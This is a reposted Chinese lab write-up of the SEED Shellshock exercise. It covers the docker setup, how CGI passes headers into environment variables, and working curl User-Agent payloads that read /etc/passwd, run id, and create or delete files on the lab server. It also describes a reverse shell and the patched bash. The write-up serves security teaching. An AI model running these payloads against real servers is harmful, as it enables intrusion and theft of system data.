ShellShock20.04版本

发布时间:2022-07-01 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了ShellShock20.04版本脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

Shellshock20.04版本

Topic

  • shellshock
  • 环境变量
  • Bash中的函数定义
  • apache和CGI程序

实验环境设置

DNS Setting

ShellShock20.04版本

将IP10.9.0.80和www.seedlab-shellshock.COM连接

使用cat /etc/hosts查看DNS设置

ShellShock20.04版本

hosts格式配置

hosts文件可以配置主机ip与对应的主机名。在局域网或者是万维网上,每台主机都有一个ip地址,它区分开每台主机,并可以根据ip进行通讯。但是Ip地址不符合人脑的记忆规律,因此出现了域名,例如www.baidu.com.在一个局域网中,每台机器都有一个主机名,用于区分主机,便于相互访问。

hosts文件格式 ip地址 主机名/域名 (主机别名)

docker实验容器安装

$ docker-compose build  # Build the container image
$ docker-compose up  # Start the container
$ docker-compose down  # Shut down the container

$ dcbuild  # Alias for: docker-compose build
$ dcup  # Alias for: docker-compose up
$ dcdown  # Alias for: docker-compose down

ShellShock20.04版本

ShellShock20.04版本

关闭docker服务时,需要在新的终端,输入关闭指令

$ dockps  // Alias for: docker ps --format "{{.ID}}  {{.names}}"
$ docksh <id>  // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 进入到容器内部, *表示是需要进入的容器id
exIT//退出指令

其中 ID号可以打印部分,因为ID号都是唯一的。

ShellShock20.04版本

ShellShock20.04版本

ShellShock20.04版本

TASK

Task 1: Experimenting with Bash Function

ShellShock20.04版本

设计一个程序,对比正常的Shell和有漏洞的ShellShock对代码的解析,判断是当前Shell是否存在漏洞

ShellShock20.04版本

bash_shellshock运行后,输出extra,且foo函数解析不全,故当前shell有漏洞。

Task 2: Passing Data to Bash via environment VARiable

ShellShock20.04版本

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A ";my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-v打印出HTTP请求和来自服务器的响应

-A选项,可以用来设置User-Agent字段

-e,改变Referer字段

-H,改变额外头字段

ShellShock20.04版本

ShellShock20.04版本

ShellShock20.04版本

ShellShock20.04版本

可以发现成功打印出了环境变量,当CGI程序被调用的时候,会首先FORK创建一个新进程,然后再使用exec()函数来执行CGI程序,因为CGI程序开头是#!/bin/bash,所以该程序是一个shell脚本,所以他执行后,bash会执行shell脚本,当创建子进程执行bash时,它为bash进程提供了环境变量,传递到子进程。其中有些环境变量可以通过人为控制传入指定的字符,例如USER_AGENT等。

Task 3: Launching the Shellshock Attack

ShellShock20.04版本

//窃取密码
curl -A "() { echo "hello" ;}; echo Content_tyPE: text/plain; echo; /bin/cat /etc/passwd"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

//creat 
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file"  http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi


指令解析F1a;

() { echo ”hello” ;};这一段就是新程序的一个函数。

echo Content_type: text/plain; echo;这一段就是告诉shell解析的时候保持为纯文本不用其他的解释型语言来解析

/bin/cat /etc/passwd 查看/etc/passwd的文件内容。至于为什么不直接用cat指令,的确打印不出来,应该无法识别,可能无法共享环境变量。

运行之后即可打开/etc/passwd文件

ShellShock20.04版本

/ect/shadow文件需要root权限才能查看。seed用户通过/bin/cat 查看时会被拒绝访问

ShellShock20.04版本

ShellShock20.04版本

Question1

不能从shadow窃取密码,shadow只有root权限和shadow权限,seed用户无权限读取。

ShellShock20.04版本

Question2:

不能进行攻击,?之后的字符串能够注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要连续字符串;输入:

curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"

得到:

ShellShock20.04版本

Taks4:Getting a reverse Shell via Shellshock Attack

ShellShock20.04版本

  • 攻击者端创建监听

ShellShock20.04版本

  • 攻击者端创建反向Shell

    ShellShock20.04版本

  • 命令解读

    10.9.0.1为主机IP,可通过ifconfig查看。链接至docker容器内的有漏洞的getenv.cgi程序执行。主机通过上述命令取得服务器的输入权限和输出反馈。

    ShellShock20.04版本

  • 创建成功

    ShellShock20.04版本

Task 5: Using the Patched Bash

ShellShock20.04版本

如何修改docker内文件?一篇文章带你搞定何在 Docker 创建的容器中修改配置

  1. 刚创建的 docker 容器,是没有 vi 命令的:
  2. 需要先执行:apt-get update
  3. 待更新完毕,再执行apt-get install vim,安装 vi
  4. 至此,vi 命令安装成功,接下来便可以在 docker 容器中执行修改文件操作
  5. 进入docker,修改docker文件

ShellShock20.04版本

  1. 执行task3指令

    ShellShock20.04版本

    ShellShock20.04版本

正常的bash,对该命令不会错误解析,造成ShellShock攻击,且能正确打印环境变量

脚本宝典总结

以上是脚本宝典为你收集整理的ShellShock20.04版本全部内容,希望文章能够帮你解决ShellShock20.04版本所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。